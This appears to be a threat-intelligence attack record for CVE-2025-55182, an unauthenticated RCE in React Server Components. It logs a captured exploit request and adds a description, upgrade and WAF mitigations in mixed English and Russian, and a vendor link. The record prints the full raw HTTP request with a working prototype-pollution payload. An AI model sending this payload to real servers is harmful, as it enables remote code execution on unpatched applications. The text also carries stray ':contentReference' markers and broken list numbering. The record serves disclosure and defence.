Информация об атаке

Tag
 
CVE-2025-55182
Date
 
2026-02-07
Client IP
 
167.86.107.35
Client GEO
 
germany
Vendor
 
Meta
Product
 
React
RAW request
 
POST / HTTP/1.1
User-Agent: Mozilla/5.0
Host: ████████████:3000
Content-Type: multipart/form-data; boundary=----B1770477052412306847
Content-Length: 358
Next-Action: x
Accept-Encoding: gzip
Connection: close

------B1770477052412306847
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B0\"}","_response":{"_prefix":"test","_formData":{"get":"$1:constructor:constructor"}}}
------B1770477052412306847
Content-Disposition: form-data; name="1"

"$@0"
------B1770477052412306847--
Description
 
CVE-2025-55182 affects react-server-dom-webpack, react-server-dom-parcel and react-server-dom-turbopack versions 19.0.0, 19.1.0, 19.1.1 and 19.2.0. :contentReference


The root cause is unsafe deserialization in the RSC “Flight” protocol: when the server receives a specially crafted payload via HTTP request to a Server Function endpoint, the payload is deserialized without proper validation. This can lead to prototype-pollution, or injection of malicious objects, which allows execution of arbitrary JS code — effectively an RCE. 


The attack requires no authentication, has low complexity, and can be triggered via a single HTTP request. 


Because many popular frameworks (e.g. Next.js, React Router, Waku, Parcel/Vite RSC plugins, rwsdk) rely on the vulnerable packages, a large portion of web-apps are at risk.


The vulnerability was publicly disclosed on December 3, 2025, and patches released shortly after.
Mitigations
 
    

  1. Upgrade React-server-dom packages: Immediately update affected packages to patched versions (for example react-server-dom-webpack/par­cel/turbopack → 19.0.1, 19.1.2 или 19.2.1).
    2. 

  2. Audit dependencies: Проверьте, не включены ли в проект фреймворки или сборщики, использующие RSC (например Next.js, React Router, Waku, @parcel/rsc, @vitejs/plugin-rsc, rwsdk), и обновите их до безопасных версий. :contentReference
    3. 

  3. Disable or restrict RSC endpoints: Если возможно — временно отключите серверные функции React (Server Functions) или ограничьте доступ к ним через firewall / WAF / настройку сети. :contentReference
    4. 

  4. Runtime protection: Используйте WAF, EASM/ASM, мониторинг поведения, IDS/IPS, чтобы обнаруживать подозрительные запросы и пост-эксплуатационную активность. :contentReference
    5. 

  5. Code review / validation: Пересмотрите обработку входящих данных, избегайте десериализации непроверенных объектов, особенно если приложение принимает пользовательские payload’ы. (Может потребоваться дополнительная проверка/валидация deserialized data.)
    6.
Links
https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components